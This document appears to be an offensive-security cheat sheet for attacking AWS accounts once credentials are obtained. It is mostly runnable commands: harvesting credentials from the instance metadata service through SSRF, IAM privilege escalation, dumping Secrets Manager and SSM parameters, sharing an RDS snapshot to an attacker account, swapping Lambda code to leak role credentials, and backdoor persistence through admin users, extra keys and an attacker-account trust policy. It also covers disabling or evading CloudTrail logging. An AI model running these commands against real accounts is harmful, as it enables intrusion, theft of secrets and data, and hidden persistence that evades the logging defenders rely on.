AWS

Sections AWS

AWS attack surface. Storage in Cloud Storage , external recon in Cloud Recon . This file covers what to do once you have credentials or are inside an AWS account.

i. Set up identity

Found keys (from leaked configs, IMDS, etc):

export AWS_ACCESS_KEY_ID=AKIA...
export AWS_SECRET_ACCESS_KEY=...
export AWS_SESSION_TOKEN=...     ## only for ASIA... temp creds
export AWS_DEFAULT_REGION=us-east-1

Or use a profile:

aws configure --profile target
## Then prefix everything with --profile target

Confirm identity:

aws sts get-caller-identity
## Returns: UserId, Account, Arn

The ARN format tells you what you have:

  • arn:aws:iam::123456789012:user/alice -> IAM user (AKIA...)
  • arn:aws:sts::123456789012:assumed-role/role-name/session-name -> STS session
  • arn:aws:iam::123456789012:root -> root credentials (catastrophic)

ii. IMDS: harvest creds from inside

When you have SSRF or RCE on an EC2 instance, hit the Instance Metadata Service.

IMDSv1 (legacy, still found in older instances):

curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
## Returns role name, then:
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>
## Returns: AccessKeyId, SecretAccessKey, Token, Expiration

IMDSv2 (required on new launches since mid-2023):

## Get a token first
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
## Then use it on every metadata call
curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/
curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>

For SSRF that can’t send PUT or arbitrary headers, IMDSv2 blocks you. Some SSRFs allow header injection via CRLF or HTTP/1.1 abuse.

User data (init script with potential secrets):

curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/user-data

iii. Initial enumeration

What does my identity have?

aws sts get-caller-identity
aws iam get-user                          ## works only if you have iam:GetUser
aws iam list-attached-user-policies --user-name <yours>
aws iam list-groups-for-user --user-name <yours>
aws iam list-user-policies --user-name <yours>

For an assumed role, look at the role policy:

aws iam get-role --role-name <role>
aws iam list-attached-role-policies --role-name <role>

Account-wide enumeration (if you have permissions):

aws iam list-users
aws iam list-roles
aws iam list-groups
aws iam list-policies --scope Local
aws s3 ls
aws ec2 describe-instances --query 'Reservations[].Instances[].[InstanceId,PublicIpAddress,PrivateIpAddress,State.Name]' --output table
aws lambda list-functions
aws rds describe-db-instances
aws ecr describe-repositories
aws eks list-clusters
aws sso list-instances                    ## for AWS IAM Identity Center

iv. Pacu, the AWS exploitation framework

pacu
## Inside Pacu:
import_keys profile_name
run iam__enum_permissions                 ## enumerate what you can do
run iam__enum_users_roles_policies_groups
run iam__privesc_scan                     ## checks for known privesc paths
run ec2__enum
run s3__enum
run lambda__enum
run rds__enum_snapshots

Pacu’s iam__privesc_scan is the headline feature - automated check for 21+ known privesc paths.

v. ScoutSuite and Prowler (audit tools)

ScoutSuite (multi-cloud, generates HTML report):

scout aws --profile target
## Output: scoutsuite-report/aws-target.html

Prowler (CIS/NIST benchmarks + finding triage):

prowler aws -p target -M html
## Output: output/*.html

Both are LOUD (many describe calls). On a real engagement, expect detection. On a lab/CTF, fire away.

vi. Common IAM privesc paths

Pacu detects 21+ paths automatically. The big ones to know:

Direct policy attachment

  • iam:AttachUserPolicy -> attach AdministratorAccess to yourself
aws iam attach-user-policy --user-name <yours> --policy-arn arn:aws:iam::aws:policy/AdministratorAccess

Create new access key

  • iam:CreateAccessKey -> create keys for another user (often admin) you have rights on
aws iam create-access-key --user-name admin_user

Update assume role policy

  • iam:UpdateAssumeRolePolicy -> change who can assume a privileged role -> add yourself
aws iam update-assume-role-policy --role-name admin_role --policy-document file://trust.json
## trust.json grants Principal=YOUR_USER_ARN sts:AssumeRole
aws sts assume-role --role-arn arn:aws:iam::ACCT:role/admin_role --role-session-name pwn

iam:PassRole + service that invokes

  • iam:PassRole + lambda:CreateFunction -> Lambda runs as the role
  • iam:PassRole + ec2:RunInstances -> EC2 runs as the role (then hit IMDS)
  • iam:PassRole + glue:CreateJob / glue:UpdateJob -> Glue job runs as the role
  • iam:PassRole + cloudformation:CreateStack -> Stack runs as the role
  • iam:PassRole + datapipeline:CreatePipeline -> Pipeline runs as the role
## Example: PassRole + Lambda to assume an admin role
aws lambda create-function \
  --function-name pwn \
  --runtime python3.11 \
  --role arn:aws:iam::ACCT:role/admin_role \
  --handler index.handler \
  --zip-file fileb://function.zip
## function.zip contains code that prints env vars (the role's creds)
aws lambda invoke --function-name pwn /tmp/out.json

Policy version switching

  • iam:SetDefaultPolicyVersion -> revert a policy to an older version that gives you more
aws iam list-policy-versions --policy-arn arn:aws:iam::ACCT:policy/X
aws iam set-default-policy-version --policy-arn arn:aws:iam::ACCT:policy/X --version-id v1

Inline policy injection

  • iam:PutUserPolicy / iam:PutGroupPolicy / iam:PutRolePolicy -> grant yourself anything
aws iam put-user-policy --user-name <yours> --policy-name pwn --policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":"*","Resource":"*"}]}'

Cross-account assume role

You have IAM in account A, can assume a role in account B because B’s trust policy allows it:

aws sts assume-role --role-arn arn:aws:iam::OTHER_ACCT:role/cross_account --role-session-name pwn
## Returns new ASIA... creds. Switch identity to those.

vii. Service-specific abuse

S3

  • Bucket policies with Principal: * allow Sigv4 from any account
  • Bucket replication can be configured to mirror objects to attacker-controlled bucket
  • See Cloud Storage for details

Lambda

  • Read function code:
aws lambda get-function --function-name X --query 'Code.Location' --output text | xargs curl -o code.zip
unzip code.zip && grep -RE 'aws_secret|api_key|password' .
  • Read environment variables (often contain secrets):
aws lambda get-function-configuration --function-name X --query 'Environment.Variables'
  • Modify function to leak its execution role creds:
## Replace handler code with one that prints AWS_ACCESS_KEY_ID env
aws lambda update-function-code --function-name X --zip-file fileb://malicious.zip
aws lambda invoke --function-name X /tmp/out.json

EC2

  • ec2:RunInstances with iam:PassRole -> spawn instance with admin role
  • ec2:GetPasswordData -> get Windows admin password (RSA-encrypted with the keypair)
  • Snapshot abuse: ec2:CreateSnapshot on a privileged instance’s volume, mount in your instance, read /etc/shadow or admin tokens
  • User data scripts often have hardcoded creds:
aws ec2 describe-instance-attribute --instance-id i-abc --attribute userData --query 'UserData.Value' --output text | base64 -d

RDS

  • Snapshot the DB, share with attacker account, restore there:
aws rds create-db-snapshot --db-snapshot-identifier sn --db-instance-identifier prod
aws rds modify-db-snapshot-attribute --db-snapshot-identifier sn --attribute-name restore --values-to-add YOUR_ACCT
  • Database master password reset (if you have rds:ModifyDBInstance):
aws rds modify-db-instance --db-instance-identifier prod --master-user-password 'NewP@ss!' --apply-immediately

Secrets Manager and SSM Parameter Store

  • Grab everything:
aws secretsmanager list-secrets --query 'SecretList[].Name'
for s in $(aws secretsmanager list-secrets --query 'SecretList[].Name' --output text); do
  echo "=== $s ==="
  aws secretsmanager get-secret-value --secret-id "$s" --query 'SecretString' --output text
done

## SSM Parameter Store (often forgotten):
aws ssm describe-parameters --query 'Parameters[].Name'
aws ssm get-parameters-by-path --path / --recursive --with-decryption

ECR (container registry)

  • Pull every image, scan for secrets in layers:
aws ecr describe-repositories --query 'repositories[].repositoryName'
aws ecr get-login-password | docker login --username AWS --password-stdin <acct>.dkr.ecr.<region>.amazonaws.com
docker pull <acct>.dkr.ecr.<region>.amazonaws.com/<repo>:latest
docker save <image> -o image.tar
## Then dig through tar layers for embedded secrets

EKS (Kubernetes)

  • Get kubeconfig for a cluster:
aws eks update-kubeconfig --name cluster-name --region us-east-1
kubectl get pods -A
kubectl get secrets -A
  • Once in the cluster, see GCP / standard K8s attacks for pod -> node -> cluster escalation

viii. Persistence in AWS

New IAM user with admin

aws iam create-user --user-name svc-backup
aws iam create-access-key --user-name svc-backup
aws iam attach-user-policy --user-name svc-backup --policy-arn arn:aws:iam::aws:policy/AdministratorAccess

Second access key on legitimate user (subtle)

Most accounts allow 2 keys per user. Add a second one to an existing admin:

aws iam create-access-key --user-name existing_admin
## Save these somewhere - they survive the user's password rotation

Console access via federation

Get a console URL valid for 12 hours, even without console password:

SESSION_JSON=$(curl --get "https://signin.aws.amazon.com/federation" \
  --data-urlencode "Action=getSigninToken" \
  --data-urlencode "Session={\"sessionId\":\"$AWS_ACCESS_KEY_ID\",\"sessionKey\":\"$AWS_SECRET_ACCESS_KEY\",\"sessionToken\":\"$AWS_SESSION_TOKEN\"}")
SIGNIN_TOKEN=$(echo "$SESSION_JSON" | jq -r .SigninToken)
echo "https://signin.aws.amazon.com/federation?Action=login&Issuer=&Destination=https%3A%2F%2Fconsole.aws.amazon.com%2F&SigninToken=$SIGNIN_TOKEN"

Lambda backdoor

Create a Lambda with a generous role, trigger it via a public endpoint or scheduled event:

aws lambda create-function ...      ## with role=AdminRole
aws apigateway create-rest-api ...  ## expose Lambda via HTTPS

Custom trust policy on a high-priv role

Add a trust to your external attacker account:

aws iam update-assume-role-policy --role-name AdminRole \
  --policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"AWS":"arn:aws:iam::YOUR_ATTACKER_ACCT:root"},"Action":"sts:AssumeRole"}]}'

ix. CloudTrail and detection

CloudTrail logs almost every API call. Common evasion:

  • Disable CloudTrail if you have rights (loud, immediately suspicious):
    aws cloudtrail stop-logging --name <trail>
    
  • Region hopping: trails are sometimes single-region. Operate in regions with no trail.
  • S3 bucket destination tampering: trail still tries to log but logs go nowhere. Edit the trail’s destination bucket policy to deny PutObject.
  • Read-only actions in many services log to “Data Events” which are off by default for S3, Lambda, etc. Read-heavy enumeration is often unlogged.

Check trail status:

aws cloudtrail describe-trails
aws cloudtrail get-trail-status --name <trail>
Most operations are logged

Anything that mutates state, creates resources, or assumes roles is in CloudTrail by default. Defender response on a real engagement is fast once they see anomalous IAM activity. Operate quickly, mind your IP.

x. Decision tree

Got AWS keys, now what?

  1. aws sts get-caller-identity → confirm what kind of identity
  2. pacu import + iam__enum_permissions → know your effective rights
  3. iam__privesc_scan → automated check for known paths
  4. If no IAM privesc → service-specific (Lambda env vars, EC2 IMDS, RDS snapshots, Secrets Manager dump)
  5. If cross-account roles exist → enumerate trust policies, see if you can assume
  6. If persistence needed → second access key on existing user, or new user with admin

Always pair AWS findings with BloodHound-style graphing for AWS (aws_pwn, Cartography, PMapper):

pmapper graph create --account-id ACCT
pmapper visualize --account-id ACCT --filetype svg